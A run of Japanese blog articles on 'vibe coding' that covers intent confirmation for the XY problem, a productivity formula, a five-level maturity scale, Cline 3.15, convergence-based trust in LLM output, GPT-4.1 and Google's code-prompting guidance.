このXY問題は、バイブコーディングでも決して珍しくありません。バイブコーディングは、人がAIに指示を出し、AIがそれを理解して作業を遂行するという形で成り立っています。ところが問題は、人が出す指示が常に明確とは限らないことです。その結果、AIは時として意図を誤解し、見当違いの道へ迷い込んでしまうことがあります。例を挙げてみましょう。

「テストが失敗しているんだけど、ちょっと直してくれる？」

AIがこの言葉を聞いて、本当にテストが失敗している理由を探すのではなく、テストコードをむやみに修正して通るようにしようとしたら、どうなるでしょうか。そこから話がこじれ始めます。テストを通すことが目的ではなく、失敗の原因を正すことが肝心なのに、です。

なぜこのようなことが起きるのでしょうか。AIはもともと、ユーザーの利便性のために「意図を推論」するよう訓練されているからです。おかげで簡単な一言だけで見事に解決してくれる頼もしい姿を見せてくれますが、正確でない指示を前にすると、勝手に方向を決めてしまうという事故が起きることもあります。

とはいえ、作業のたびにAIへ事細かく説明したり、AIに絶えず問い返させたりしていては、どれほど煩わしいでしょうか。ですから、バイブコーディングでXY Problemに対処する最も賢いやり方は、AIが意図を正しく理解したかどうかを確認するプロセスをルールファイルに追加することです。

こうしておけば、AIが指示を遂行する前にユーザーの意図を十分に把握できているかをもう一度点検し、確信がない場合は問い返すようにできます。以下はそのルールの簡単な例です。

ルール：作業の意図の明確性の確認

- ユーザーの指示を受け取ったら、作業の前にAIは指示の核心的な意図を要約し、ユーザーに確認を求める。
- ユーザーが確認したら作業を進め、そうでなければ再度質問して正確な意図を明確にする。

例：

ユーザー：「ビルドのテスト失敗を解決してほしい。」

AI：「テストコード自体を修正してビルドを通すのではなく、失敗の原因を突き止めて元のコードの誤りを正し、テストが通るようにする、という理解で合っていますか？」

ユーザー：「そう。進めて。」

これだけで、XY問題にまつわるトラブルは著しく減らせます。人とAIのあいだの誤解や、見当違いの道に迷い込む試行錯誤も最小限になるでしょう。私はバイブコーディングを、常にAIとペアプログラミングをするという心構えで取り組むように、といつも強調しています。そのため、ROBOCOが追求するバイブコーディングの核心戦略は、どうすれば最小限の労力で「意図」を明確に伝えられるかということなのです。

先のバイブコーディングの生産性についての記事でも述べたとおり、バイブコーディングの生産性は二つの要素に大きく左右されます。一つは人の生産性、すなわち開発者の問題解決能力と分析能力です。もう一つは、それを補完し強化するツールやプロセスの生産性です。ここでいう生産性とは、単にコードを速く書く能力だけを指すものではありません。計画を立て、問題を分析し、解決策を見つけるという全般的な力量までを含みます。

TL;DR

• バイブコーディングの生産性は、AIツールの性能だけでなく、開発者の問題分析力と作業設計能力に大きく左右されます。
• 仕様が明確な作業、移植（ポーティング）、入力と出力がはっきりしたスクリプト的な作業では、とりわけ強みを発揮します。
• 何を作るのかが不明確な作業や、コンテキストが複雑な作業では、人の判断と範囲の限定が依然として重要です。

私は実際にいくつものプロジェクトを進めながら、バイブコーディングが得意な作業とそうでない作業を経験的に分類してみました。どんな仕事であれ、ツールが得意なことと不得意なことを知っておくのが大切です。うまく活用するには、ツールの特性をよく知る必要があるということです。

まずは、バイブコーディングがとりわけ得意な作業から見ていきましょう。

第一に、仕様が明確に定義された作業です。バイブコーダーが細部のすべてを把握していなくても、作業の内容と進行順序がきちんと文書化されていれば、AIは驚くほど正確な成果物を出してきます。明確な文書化こそが、AIの能力を最大限に引き出す鍵というわけです。

第二に、移植作業です。すでに別の言語やプラットフォーム、フレームワークで完成しているプロジェクトがあれば、そのコード自体が完璧な仕様書の役割を果たします。AIは既存コードを参照して、高い完成度で移植作業を素早く進められます。とくに既存プロジェクトに自動化されたテストが不足している場合は、AIを使って単体テスト（UT）、結合テスト（IT）、エンドツーエンドテスト（E2E）を先に生成し、それを移植対象のプロジェクトに適用すれば、はるかに正確かつ効率的に作業を進められます。

第三に、簡単なスクリプトやユーティリティの作業です。入力と出力が明確に決まっている作業であれば、AIはまるで光の速さで仕事をこなします。使い捨ての作業であっても、テスト駆動開発（TDD）の方式を取り入れれば、速く進めながら信頼性も高められます。

しかし、すべての仕事がそれほど単純なわけではありません。バイブコーディングが不得意な作業もあります。

第一に、何を作るべきかが不明確な作業です。ソフトウェア開発ではしばしばあることで、実際の実装過程を通じて少しずつ仕様を改善しながら進めなければならない作業があります。DevOps関連のツールや、複雑なワークフローの設計がその例です。こうした作業は、ChatGPTのような対話型AIサービスを通じてさまざまな状況をAIとの対話でシミュレーションしながら方向性を定めたうえで実装するのが賢明です。

第二に、複雑なコンテキストを抱えた作業です。とくに複雑なリレーショナルデータベースを備えたモノリシックアーキテクチャのようなプロジェクトは、コンテキストが膨大で入り組んでおり、人ですら迷い込みやすいものです。理想的にはマイクロサービスの形に分割して作業するのがよいのですが、現実的には難しい場合も少なくありません。そんなときは、プロンプトエンジニアリングによってAIが処理するコンテキストの大きさを制限する方法があります。作業ごとに関連する文書やコードだけを選び、ルールファイルとして与える方式です。もちろん作業のたびにルールを動的に更新しなければならない手間はありますが、最近はTaskMaster AIやBMAD-METHODのようなツールが登場し、この部分まで自動化できるようになりつつあります。

このように、バイブコーディングを効果的に活用できるかどうかは、結局のところAIと人が互いの強みと弱みをよく理解して使いこなせるかにかかっています。明確に定義された作業ではAIの処理の速さと正確さが光りますが、複雑で曖昧な作業では人の判断力と分析力が依然として重要です。

今この瞬間にも、世界中のバイブコーダーが絶えず実験を重ねています。すでにバイブコーディングで作れる作業は実際に実装されており、まだ実現していない複雑な問題についても、解決しようとする試みが途切れることなく続いています。ツールには限界があるかもしれませんが、そのツールを活用する人間の創造力と挑戦する精神に限界はありません。

去る5月23日、AnthropicはClaude 3.7の公開からわずか3か月でClaude 4を公開しました。OpenAIもまた、製品のリリース周期がますます短くなっています。開発速度が上がっているのはモデルだけではありません。では、この途方もない生産性はどこから生まれているのでしょうか。

TL;DR

• バイブコーディングは、小規模なチームがより大きな成果を出せるようにする生産性の増幅装置と捉えられます。
• AIを脅威としてのみ見れば変化に引きずられますが、仲間にすれば開発者と組織の能力を拡張できます。
• 企業にとってバイブコーディングは、選択的な実験ではなく生存戦略に近いものになりつつあります。

最近、業界を驚かせたCursor.aiは、20人の小規模チームで年間経常収益（ARR）1億ドルを21か月で達成し、現在の企業価値は90億ドル（約13兆ウォン）と評価されています。Bolt.newとLovableもそれぞれ15人のチームで、わずか2か月でそれぞれ2,000万ドルと1,000万ドルのARRを記録しました。画像生成AIで有名なMidjourneyは、たった10人で2年のうちに2億ドルのARRを達成しています。このほかにも、Mercor（30人）、ElevenLabs（50人）、Aragon.ai（9人）などが同様の成果を出しています。

これらの企業は、運が良かったから、何か突出した一点があったから、他社にはない特許を取得したから成功したのではありません。提供する製品があらゆる面で競合を圧倒しながら、その差を維持し、さらに広げ続けているからです。しかも、その競合というのは数万から数十万の従業員を抱え、兆単位の投資を軽々と行うあの有名なグローバル・ビッグテックなのです。

私は、こうしたイノベーションこそが「バイブコーディング（Vibe Coding）」のおかげだと考えています。バイブコーディングとは、AIモデルを積極的に活用し、自然言語を通じて素早く開発を進めるやり方です。バイブコーディングをきちんと使いこなせば、少人数ではるかに多くの仕事を処理できるようになり、チーム内のコミュニケーションコストを大きく減らしながら、高い生産性と品質を維持できます。

バイブコーディングを導入した企業では、開発者が製品設計にも積極的に関与できます。開発の負担が減ることで、1人の人材が複数の開発者、マネージャー、プロダクトプランナーの役割まで兼ねられるようになるからです。

一方、非テック企業は、これほど大きな変化が世に登場したという事実すら知らない場合が少なくありません。テック企業だからといって状況が大きく違うわけでもありません。Business Insiderは、2024年6月ごろ、Amazon Web Services（AWS）のトップであるマット・ガーマン（Matt Garman）氏が従業員との対話の中で「24か月後にはほとんどの開発者がコーディングをしなくなる可能性がある」と発言したと報じました。私は、この発言はあまりにも呑気な楽観だったと思います。すでにその時期には、Cursorが開発者の間で口コミによって急速に広まっていたからです。

テック企業だけでなく、あらゆる既存企業が、これからバイブコーディングを武器に挑んでくるスタートアップから深刻な脅威を受けることになります。ここでAIを単なる脅威とみなすなら、企業と開発者の生存期間は短くならざるを得ません。AIの脅威を猛獣から逃げる状況にたとえるなら、食べられないためには隣の人より速く走りさえすればよい、と考えることもできます。ただしそれは時間稼ぎにすぎず、結局は食べられる運命だという点に変わりはありません。

しかし、AIと同じ側に立つとしたらどうでしょうか。AIは開発者だけでなく、あらゆる役割において、自分の持つ能力を増幅してくれる道具になり得ます。

もはやバイブコーディングは選択肢ではありません。生存のための必須戦略です。

私はよく開発者からこんな質問を受けます。「私はこうやって開発しているのですが、これはバイブコーディングで合っていますか？」正直かなり戸惑います。なぜ韓国の人はとりわけ、宗教的原理主義のように基準に合わせることを好むのでしょうか。重要なのは、バイブコーディングをうまく実践できているかどうかではなく、バイブコーディングがどれだけ生産性の向上に役立っているかです。

また、こんな質問もよくあります。「プログラミングをまったく知らなくても、本当にバイブコーディングはできるのですか？」今日はまさにその話をしてみようと思います。

バイブコーディングとは、AIを使って自然言語でコードを生成する活動を、便宜上ひとまとめにして呼んでいる名前です。「これこそが本当のバイブコーディングだ」といったルールは特にありませんし、ある必要もありません。重要なのはそうした形式ではなく、実際に生産性が上がったかどうかという結果です。

TL;DR

• バイブコーディングで重要な問いは、形式ではなく、実際の生産性がどれだけ上がったかです。
• 生産性は、開発者の問題定義能力、ツールとプロセスによる増幅効果、そしてAI自体の性能が合わさって生まれます。
• 非開発者もある程度の助けを得られますが、持続的な成果は、能力とプロセスをともに改善してこそ大きくなります。

そこで私は、次のようなバイブコーディングの生産性方程式を提案してみます。

P = x * y + z

• P：全体の生産性
• x：開発者が出せる基本的な生産性。平均的な開発者の生産性を1と基準に置きます。もちろん人によっては1以下、さらにはマイナスになることもあります。
• y：使っているツールとプロセスが出せる生産性。バイブコーディングをしたのに生産性が低いのなら、それはツールやプロセスがひどいという意味なので、改善しなければなりません。
• z：純粋にAIが出せる生産性。開発者でなくてもAI単独である程度の生産性を出せますが、この値は全面的にAIの性能にかかっています。

この方程式を通じて私が強調したいのは3つです。

第一に、非開発者でも開発ができるようになるというのは一部事実ですが、その範囲と水準は限定的です。AIに全面的に依存（z）しなければならないため、この値は結局、モデルやツールが提供する範囲を超えることはできません。コーディングができなくても、作ろうとする製品やサービスの動作を明確に説明できるなら、つまり要件定義書を明確に書けるなら、開発者の生産性（x）に一部を上乗せできます。ただし最近は、ソフトウェアエンジニアリングに関する基本的な知識がある程度あれば、AIの助けを借りて一定水準以上の要件定義書を書くことが可能になりました。

第二に、結局のところバイブコーディングの本質は、開発者の生産性を増幅させることにあります。ですから生産性を高めたいのであれば、開発者本人の能力（x）を伸ばすか、より良いツールとプロセス（y）を導入するのが最も効果的な戦略です。本人の能力とは、ソフトウェア開発者としてコードを生産する能力を指すのではありません。問題解決者として問題を明確に認識・定義し、それに対して適切な解法を提示する能力を指します。バイブコーディングでは、計画さえうまく立てられれば、具体的な実行はAIに任せることができます。

第三に、ツールとプロセスも重要です。開発の進め方に合わないツールやプロセスを使うと、かえって生産性が下がることもあります。どのモデル、どのツール、どのプロセスを使うかによって、生産性だけでなく実現可能な範囲と水準も大きく変わります。また、バイブコーディング導入の初期には、Jカーブによる生産性の低下が起こることもあります。ただし、適切な教育を通じて生産性が落ち込む区間を短くすることはできます。

結論として、ROBOCOが目標としているL4バイブコーディングは万能ではありません。それは魔法ではなく、開発者の力量とツールの力を最大化する一つの開発手法にすぎません。ですから生産性の向上のためには、開発者の力量とともに、ツールとプロセスを改善することに集中してください。

最近、開発者のSNSやコミュニティでは、多くの開発者が自分のバイブコーディング体験を投稿し、人工知能とともに行うコーディングがどれほど快適で良いものかを語るケースがめっきり増えました。ところが実際に中身を覗いてみると、バイブコーディングという一つの言葉の下で体験している水準はまちまちです。ある人は単純な自動補完に驚いているだけで、ある人はサービス全体をAIとともに設計し運用する水準にまで達しています。ここからは、バイブコーディングの成熟度の基準を私なりに整理してみます。

TL;DR

• バイブコーディングは一つの水準ではなく、自動補完からビジネス目標中心の自動化まで、いくつもの段階に分かれます。
• 段階が上がるほど、開発者は自分でコードを書くよりも要件、設計、レビュー、意思決定に集中するようになります。
• この尺度は、現在の位置を確認し、次の段階へ移動するための基準点として捉えることができます。

第1段階 - 単純な補助者の水準（Code Prediction）

第1段階は「単純な補助者の水準」です。代表的にはGitHub Copilotのようなツールがこの水準に当たります。すぐ次に書くコードを関数レベルで自動補完する程度です。便利ではありますが、コードの流れや設計は依然として完全に開発者本人の担当です。実のところ、この程度でもうまく使えば熟練した開発者には大きな生産性向上をもたらしてくれます。

第2段階 - ファイル単位の完成水準（Script Automation）

第2段階は「ファイル単位の完成水準」です。簡単なスクリプトやユーティリティ的な作業程度なら、AIがかなりそれらしく仕上げてくれます。繰り返し作業や簡単な自動化スクリプト程度をAIの助けで素早く処理できる水準です。この段階では、開発者はコード全体を見ながら小さな修正を加える程度で済みます。

第3段階 - モジュールレベルの統合（Modular Integration）

第3段階からは明らかに変わります。「モジュールレベルの統合」です。AIは今や、独立した機能や複数ファイルで構成されるモジュールを、設計パターンと原則をある程度考慮しながら提示します。ユーザーは作られたモジュールをプロジェクトに統合し、管理すればよいのです。SOLID原則やクリーンアーキテクチャなど、基本的なソフトウェア設計原則がある程度反映された成果物を得ることができます。

第4段階 - プロジェクトレベルの管理（Project-Level Orchestration）

第4段階は「プロジェクトレベルの管理」です。この水準では、コーディングだけでなく設計、アーキテクチャリング、リファクタリング、テスト、デプロイ自動化など、プロジェクト全体の流れをAIが幅広く支援します。開発者は要件を明確に伝えて成果物を検討し、AIが生み出すコードを選択して管理する程度に作業が単純化されます。複雑な文脈もAIがある程度理解するため、開発者の役割が次第に管理と監督の方へ移っていく段階です。

第5段階 - ビジネス目標中心の自動化（Business Goal-Driven Automation）

最後の第5段階は「ビジネス目標中心の自動化」です。この水準に至ると、技術的な実装を超えて、サービスのビジネス目標や運用環境までAIが理解します。開発者は技術実装よりも要件とビジネス目標の設定に集中します。AIは技術的な実装とデプロイだけでなく、性能最適化や障害対応といった運用管理も相当部分を自動で処理します。開発者はビジネス戦略と中核的な意思決定にだけ集中すればよいのです。

結論

段階が上がるほど、開発者が管理すべき技術的な部分は減り、ビジネス的な部分が増えます。ビジネス領域の問題定義と解決、意思決定もまたAIの助けを借りて、より効率的に行われます。今後数年以内に、開発者がコードを直接触るケースは大きく減るか、ほとんどなくなるでしょう。現在のシニア開発者が担っている業務が一般化するということです。

バイブコーディングはもはや単なるツールではなく、開発のやり方そのものを変える大きな流れになりました。しかし、誰もが同じやり方と水準でバイブコーディングを使っているわけではありません。この記事がそれぞれの成熟度を推し量り、次の段階へ進むうえでの小さな道しるべになれば幸いです。

TL;DR

• Clineはオープンソース、BYOM、大規模プロジェクトへの対応力を武器に、バイブコーディングツール市場での存在感を高めています。
• 3.15バージョンは、差分編集とASTベースの解析によって大きなファイルや大規模コードベースでの作業効率を高めた点が核心です。
• Plan/Actモードと多様なモデル連携により、開発者はコスト・信頼性・制御性を同時に調整できます。

Cline、なぜ再び注目されるのか？

AI開発ツール市場は、毎月のように新しいツールが押し寄せる群雄割拠の時代です。GitHub Copilot、Cursor、Windsurf、Claude Code、Amazon Q Developerといった有名なツールが激しい競争を繰り広げるなか、最近になってClineの存在感が着実に大きくなっています。Clineはそもそも、他のバイブコーディングツールとは明確に異なる道を歩んできたことで注目を集めました。オープンソースとして開発されたClineは、単に無料だからという理由で選ばれるツールではありません。Clineは複雑な大規模プロジェクトでも堅牢な性能を発揮します。特に、データセキュリティや主権の問題からツールの利用に制約がある環境でも、BYOM（Bring Your Own Model）が可能な数少ないバイブコーディングツールです。こうした特徴を前面に押し出し、Clineは急速に主流のバイブコーディングツールの仲間入りを果たしました。

3.15バージョンの革新的な機能改善

2024年5月10日にリリースされた3.15バージョンのアップデートにより、Clineは大規模コードベースをさらに効果的に扱えるようになりました。特に過去のバージョンでは、大きなファイルを修正する際にファイル全体の内容を書き直す方式だったため、不要なコストやエラーがしばしば発生していました。しかし今回のアップデートで導入されたテキストベースの差分編集（diff-based editing）は、変更が必要な箇所だけを正確に見つけて修正することで、作業の効率性と正確性を大きく高めました。またAST（抽象構文木）解析を活用してコードの構造的な理解を強化し、これによって大規模コードベースからも非常に効率よく必要な情報を抽出できるようになりました。

Plan/Actモードで作業効率と信頼性を最大化

ClineのPlan/Actモードは、設計と実行を明確に分けることで作業効率と信頼性を高めた革新的な方式です。Planモードでは、AIがコードベースの情報を探索して作業を進めるための具体的な計画を立てますが、実際のコードは変更しないため、開発者はAIの提案と戦略を透明に検討できます。その後、承認された計画に従ってActモードでコード修正などの具体的な作業が行われますが、この過程でユーザーは各ステップの進行状況をリアルタイムで確認し、必要な介入ができるため、プロセス全体をより効果的に制御できるようになりました。特に、各モードごとに最適なAIモデルを個別に設定してコスト効率を最大化できる点は、Clineならではの差別化要素のひとつと評価されています。

多様なAIモデルとの柔軟な連携性

それだけではありません。Clineは今やさらに多様なモデルと連携し、開発者が望む環境で自由に使えるようになりました。ローカルマシンでホスティングしたAIモデルはもちろん、AWS Bedrockのようなプライベートテナンシー環境のモデルまで手軽に利用できます。ユーザーはClineを通じて、Claude 3.7 SonnetやGoogle Gemini 2.5といった最新モデルを好きなだけ選んで連携できるようになりました。この柔軟性は、他のコーディングツールでは簡単には見られないCline独自の強みです。

コスト対価値のバランス

とはいえ、すべてが完璧というわけではありません。3.15バージョンで大幅に改善されたものの、競合ツールと比べて高いモデル利用コストの問題は依然として解くべき課題です。特に、Clineが用いる高性能モデルはAPI呼び出しあたりのコストがかなり高くなります。実際に長時間の複雑な作業を行うと、作業ごとに数ドルのコストが発生することもあり、利用量の多い開発者には大きな負担になり得ます。しかし、単にコストだけでClineの価値を評価することはできません。多くの開発者は、Clineが示した効率性と利便性を考えれば発生するコストは十分に合理的だと評価しています。特にオープンソース方式であるため追加のライセンス費用がなく、使った分だけ課金されるという点はむしろ公正で経済的だという意見が多く見られます。

ペアプログラミングの新しいパラダイム

結局のところ、Clineが注目される理由は単なるコスト効率や性能だけの問題ではありません。Clineは開発者とAIのリアルタイムな相互作用を通じて作業を進め、開発者がまるでペアプログラミングをするようにAIと協働する環境を作り出しました。従来のコード自動補完ツールが与える単発的で限定的な支援とは根本的に異なる方式です。開発者はAIの助手席から直接方向を示し、望む作業を正確に引き出せるようになりました。

開発環境の未来を開く号砲

AI開発ツール市場におけるClineの登場と急速な進化は、これからの開発環境を予告する号砲です。開発者が反復的なコーディング作業に埋もれることなく、創造的な企画と問題解決に集中できるよう手助けするClineの登場は、歓迎すべき変化です。今こそClineに注目する理由は十分にあります。

バイブコーディング（vibe coding）という言葉を聞いたことがあるでしょうか。もともとこの表現は褒め言葉ではありませんでした。直感と感覚だけに頼ってコードを書き、厳密な構造やルールはしばしば無視する開発者を、いささか皮肉る意味で使われていたのです。ところが興味深いことに、最近では人工知能（AI）、とりわけ大規模言語モデル（LLM）を活用してプロンプトだけでコードを生成する手法と結びついて使われています。もちろん、LLMを使っても十分に模範的で保守しやすいコードを書くことはできます。特に、試行錯誤なしに一度でうまく動くコードが得られたなら、それはバイブコーディングがきちんと機能したということであり、AIベースの開発の本質を正しく理解しているという意味でもあります。

「AIコーディングはコンパイラと似ているのではないか」という質問をときどき受けます。表面的には正しいと言えます。コンパイラがコードを機械語に変換するように、LLMは自然言語のプロンプトをコードに変換するからです。しかし、両者の類似点はその程度までです。最大の違いは決定性です。コンパイラは同じ入力に対して常に同じ出力を返しますが、LLMは同じ入力に対しても、微妙に、あるいはまったく異なる出力を返します。不完全な、あるいは文脈のないプロンプトを入力すると、見当違いの結果が出てくることもあります。コードの言語は明確ですが、人間の言語は曖昧だからです。そのためLLMは、常に意図を「推測」しなければなりません。

では、このように非決定的なツールを、どうすれば信頼して使えるのでしょうか。その答えは、ほかの確率ベースのシステムを信頼する方法と似ています。「収束」という概念です。たとえば、最適解を探す際にランダム性を許容しながら少しずつ範囲を狭めていく「シミュレーテッドアニーリング（Simulated Annealing）」に似ています。機械学習で用いられる確率的勾配降下法（Stochastic Gradient Descent）も、確率的に少しずつ良い結果へと収束していきます。さらに言えば、私たち人間の開発者も日々コンディションや成果が変わりますが、良い習慣と仕組みを通じて信頼できる結果へと収束します。つまり、完璧さではなく有用な結果へ収束するように構造化すれば、LLMも十分に信頼できるのです。

TL;DR

• バイブコーディングとは、直感でコードを丸投げすることではなく、非決定的なLLMが有用な結果へ収束するように構造化することです。
• 信頼は、コードを目で一つひとつ確認することから生まれるのではなく、テスト・リンタ・フォーマッタといった自動検証を再現可能な仕組みにすることから生まれます。
• 良い入力、小さなステップ、思い切った単純化が、AIベースの開発の品質と保守性を左右します。

収束のような大げさな話を持ち出すまでもなく、生成されたコードが正しいかどうかの確認を自動化しなければ、LLMの利用は非常に苦痛になります。多くの人が、LLMの生成したコードは信頼できないと言います。先ほどコンパイラとの違いを見たとおり、信頼できないのは当然のことです。生成されたコードが正しいかどうかを、なぜ人間の目で確認しなければならないのでしょうか。遺伝的アルゴリズム（Genetic Algorithm）のような手法を使うとき、交叉や突然変異で生成された遺伝子が実際に適法かどうかを人間が一つひとつ確認しなければならないとしたら、誰もそれを使いたいとは思わないはずです。

LLMをきちんと活用するには、いくつかの原則に従う必要があります。

第一に、思い切って単純化してください。LLMはしばしば過度に複雑な構造を作ろうとします。不要なクラス、抽象化、複雑な構造は削除し、最小限の形に保ってください。単純化はエラーの可能性を減らし、問題点を素早く把握できるようにしてくれます。

第二に、小さなステップで進めてください。一度にすべてを解決しようとすると失敗します。明確な要件を書くことから始め、曖昧な部分は例で解きほぐしてください。必要であれば設計文書を作らせ、それを一緒にレビューしてください。このように一歩ずつ段階を踏めば、エラーを減らすことができます。

第三に、自動化を積極的に活用してください。例ができたら、すぐに実行可能なテストへと変換してください。コードフォーマッタ、リンタ、ユニットテストを自動的に実行するスクリプトを用意しておくとよいでしょう。細かなスタイルの問題は自動フォーマッタに任せ、LLMが変更後に自らテストを実行し、失敗した箇所を修正するよう仕向けてください。自動化はコストも低く、速度も速いのです。

最後に、良い入力を与えてください。LLMは不確かなときに右往左往します。最新のドキュメントや正確なAPI情報といった信頼できる入力を与えれば、際限のない繰り返しと不確実性を大きく減らすことができます。

かつては嘲笑の対象だったバイブコーディングが、いまやAI時代の強力な思考法として浮上しました。しかし、直感だけでは足りません。このゲームは結局のところ、収束をうまく調整する仕事です。単純化し、自動化し、明確に方向を示してください。そうすれば、モデルは正しい道を見つけ、自ら「バイブ」に乗ることでしょう。

TL;DR

• GPT-4.1ファミリーは、コーディング、指示への追従、長いコンテキストの処理に焦点を当てた開発者向けのモデル群です。
• GPT-4.1 MiniとNanoは、高速な応答とコスト効率が求められる作業に適した選択肢として紹介されています。
• バイブコーディングの観点では、Windsurfの無料利用イベントを通じて負担なく性能を体感できる点が重要です。

序論 - OpenAIがソフトウェア開発に特化したGPT-4.1をリリース

OpenAIは韓国時間2025年4月15日未明、開発者向けの新しい製品群であるGPT-4.1を発表しました。この製品群は、GPT-4.1、GPT-4.1 Mini、そして最も小さく高速で安価なモデルであるGPT-4.1 Nanoで構成されています。これらのモデルは従来のGPT-4.0より性能が向上しており、最大100万トークンの長いコンテキストを処理できる点が特徴です。

また、Windsurfでは、このGPT-4.1を本日から1週間、つまり4月21日まで無制限かつ無料で利用できるイベントを実施しています。文字どおり、無料ユーザーを含むすべてのプランの利用者に無料で提供されますが、乱用防止のためのスロットリングは他の有料モデルと同様に適用されます。余談ですが、Windsurfの開発チーム内部ではこのGPT-4.1に対する評価が非常に高いそうです。

この記事では、OpenAIのGPT-4.1紹介YouTube動画の内容に基づいて、GPT-4.1の主な特徴を要約・整理しました。動画の要約と整理にはDeepSRTを使用しました。

GPT-4.1ファミリーの紹介

• GPT-4.1は、コーディング、複雑な指示の理解、エージェント構築に優れています
• GPT-4.1 Miniはより高速で、やや単純なユースケースに適しています
• GPT-4.1 Nanoは、オートコンプリート、分類、長い文書からの情報抽出など、さまざまなアプリケーションで役立ちます

コーディング能力の向上

• SWEBenchにおいて、GPT-4.1は55%の正確度を達成し、GPT-4.0の33%から大きく向上しました
• Ader polyglotベンチマークでは、GPT-4.1がさまざまなプログラミング言語のコーディング能力を向上させたことが示されています
• フラッシュカードアプリの例では、GPT-4.1はGPT-4.0よりもはるかに機能的で美しいフロントエンドコードを生成しました

指示追従能力の強化

• GPT-4.1は、複雑な指示のセットを正確に守るよう訓練されています
• 社内評価において、GPT-4.1は従来のモデルよりもはるかに優れた性能を示しました
• Scaleのmulti-challenge evalのような外部ベンチマークでも優れた結果を示しました
• モデルを最大限に活用できるよう、新しいプロンプティングガイドラインが提供されています

長いコンテキストの処理能力

• GPT-4.1 MiniとNanoは、100万トークンのコンテキストを処理できる最初のモデルです（従来の128Kから8倍に増加）
• 「干し草の中の針」評価において、モデルは長いテキストから特定の情報を正確に見つけ出すことができます
• OpenAIのMRCR評価では、GPT-4.1がGPT-4.0を上回る性能を示し、最大100万トークンまで良好に維持されます
• Video MMEベンチマークでは、GPT-4.1は72%の正確度を達成し、最先端の性能を記録しました

価格およびその他の情報

• GPT-4.1はGPT-4.0より26%安価です
• GPT-4.1 Nanoは最も安価なモデルであり、長いコンテキストの利用に対する追加の値上げはありません
• GPUリソース確保のため、GPT-4.5はAPIから段階的に削除される予定です
• GPT-4.1および4.1 Miniはファインチューニングが可能で、Nanoも近く対応予定です

結論

これまで、バイブコーディングの作業にはClaude 3.7 Sonnetが多く選ばれてきました。しかし、Windsurfとの事前協業を通じてモデル発表と同時に1週間の無料利用イベントまで実施し、ユーザーを獲得しようとする姿勢は、OpenAI側がそれだけGPT-4.1に自信を持っているということではないでしょうか。ぜひ今回のWindsurfのイベントを活用して、コスト負担なくバイブコーディングに入門してみてください。

TL;DR

• Googleプロンプトエンジニアリング白書のコードプロンプティングに関する内容は、バイブコーディングを業務レベルで使うための良い出発点です。
• コードの作成・説明・翻訳・デバッグ／レビューのプロンプティングは、人間が問題を定義しAIが実行するというバイブコーディングの構造と重なります。
• 良い結果を得るには、出力要件を具体化し、肯定的な指示を与え、再利用可能なプロンプトを地道に実験・文書化していく必要があります。

はじめに - プロンプトエンジニアリングとバイブコーディング

私は新しい技術に触れたり情報を仕入れたりするとき、まずその技術を提供している企業の白書を読むようにしています。技術系の白書は無料で公開されていることが多く、情報の密度が高いので時間を節約できるからです。

今回、Googleからプロンプトエンジニアリングに関する白書が公開されました。

Google Prompt Engineering Whitepaper

バイブコーディングにおいて、プロンプトエンジニアリングは非常に重要な部分です。特に業務レベルで活用しようとするなら、この白書は優れた出発点になり得ます。60ページ程度しかないので、できれば原文を読むことをおすすめしますが、英語に慣れていない方や時間のない方のために、バイブコーディングに関連するコードプロンプティングを中心に内容をまとめてみました。

コードプロンプティングの概要

コードプロンプティング（Code Prompting）とは、AI言語モデルを活用してコードの作成・説明・翻訳・デバッグといった開発作業を行わせるために、プロンプトを設計する方法です。これはバイブコーディングの中核となるアイデア、すなわち 「人間が問題を定義すれば、AIが問題解決の主体となる開発のあり方」 と正確に一致します。

コードプロンプティングの詳細な手法

次の4つのプロンプティング類型があります。

1. コード作成のプロンプティング（Prompts for writing code）

• 特定のプログラミング言語で自動的にコードを書けるよう、AIにプロンプトを与えます。
• 例:
  • Bashスクリプトで特定フォルダのファイル名変更を自動化するコードを生成する
  • Pythonスクリプトでファイル名変更や文字列処理のコードを自動化する

2. コード説明のプロンプティング（Prompts for explaining code）

• すでに書かれたコードの意味や動作の仕組みを、AIに自然言語で説明させます。
• 例:
  • Bashスクリプトの動作過程をAIに段階ごとに明確に説明させる

3. コード翻訳のプロンプティング（Prompts for translating code）

• あるプログラミング言語で書かれたコードを、別のプログラミング言語へ自動的に翻訳します。
• 例:
  • BashスクリプトをPythonコードへ変換する作業

4. コードのデバッグ・レビューのプロンプティング（Prompts for debugging and reviewing code）

• AIを活用してコードの誤りを自動的に特定し、改善点の提案を受けます。
• 例:
  • 誤ったPythonコードで発生するエラーを見つけ、修正の過程を段階ごとに説明したうえで、改善されたコードを提示する

コードプロンプティングのベストプラクティス（Best Practices）

コードプロンプティング（バイブコーディング）において特に重要なAIプロンプティングのベストプラクティスは次のとおりです。

具体的な出力要件を提示すること

• 求めるコードの明確な結果や構造を具体的にAIへ説明し、混乱を防ぎます。

肯定的な指示を使う

• 「してはいけないこと」よりも「すべきこと」を中心に指示します。たとえばコードを書かせるときは、制限事項よりも目標を明確に伝えます。

変数を活用したプロンプティング

• 繰り返し使えるプロンプトを書き、変数を通じてコードの再利用性と保守性を高めます。

プロンプティングの形式とスタイルの多様性を実験する

• さまざまな表現・文体・指示スタイルを試し、最も効果的なプロンプティングの方法を見つけます。

プロンプティングの結果を文書化して体系化する

• さまざまなプロンプティングの試行を記録し、うまくいった事例を特定してプロンプティングの品質を継続的に改善します。

バイブコーディングとの関連の整理

この文書で示されているコードプロンプティングの手法は、バイブコーディングの中核概念と非常に密接に結びついています。

• 問題定義と指示（プロンプトの作成） → 人間が担うべき作業
• コードの作成・説明・翻訳・デバッグなど（プロンプトの結果） → AIが担う作業

このやり方を活用すれば、開発者は繰り返し作業やエラー解決に費やす時間を減らし、アイデアの構想や問題定義といった創造的な作業に集中できるようになります。

つまりバイブコーディングの核心は、コードプロンプティングの手法をうまく活用し、AIがより正確かつ効率的にコードを生成・管理できるよう支援すること にあります。

プロンプティングのベストプラクティス

最高のプロンプティング性能を得るために、次のことが推奨されます。

• 例を提示してモデルの正確性を高める。
• 単純で明確な設計でプロンプトを構成する。
• 出力要件を具体的に明示する。
• 制約条件よりも肯定的な指示を使い、モデルを混乱させない。
• 最大トークン長を制御して効率を高める。
• 変数を使い、プロンプトの再利用性を高める。
• さまざまな入力形式と文体を実験し、最適なプロンプティングスタイルを見つける。
• 分類タスクではfew-shotプロンプトのクラスを混ぜて過学習を防ぐ。
• モデルの更新に合わせてプロンプトを継続的に調整する。
• JSON形式の利用やスキーマによるデータの構造化を活用する。
• 他のエンジニアと共同で実験し、効率を高める。
